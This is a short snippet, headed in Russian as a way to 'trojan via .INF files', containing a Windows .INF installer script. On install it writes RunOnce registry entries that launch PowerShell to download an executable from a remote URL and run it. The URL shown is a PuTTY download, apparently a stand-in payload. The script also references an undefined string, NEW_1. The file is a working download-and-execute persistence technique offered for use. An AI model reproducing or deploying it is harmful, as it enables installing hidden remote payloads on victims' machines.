трояним через файлы .INF

[STRINGS]
KEY_RUNONCE = "Software\Microsoft\Windows\CurrentVersion\RunOnce"
KEY_REMOVE  = "Software\Microsoft\Windows\CurrentVersion\Uninstall"
ADD_1 = "Powershell_Execute"
;; Locasised strings
;;; English
ADD_3 = "PowerShell Execution"
ADD_4 = "PowerShell:>"
[version]
signature="$CHICAGO$"

[DefaultInstall]
AddReg = Titre.Reg

[Titre.Reg]
HKLM,%KEY_RUNONCE%\setup,"               "%ADD_1%
HKLM,%KEY_RUNONCE%\setup,"___________________________"
HKLM,%KEY_RUNONCE%\setup,%ADD_3%
HKLM,%KEY_RUNONCE%\setup,""
HKLM,%KEY_RUNONCE%\setup,%ADD_4%,0,"cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe','putty.exe');Start-Process 'putty.exe'"
[Question]
Prompt 	= %NEW_1%
ButtonType = YESNO
Title 	= %ADD_1%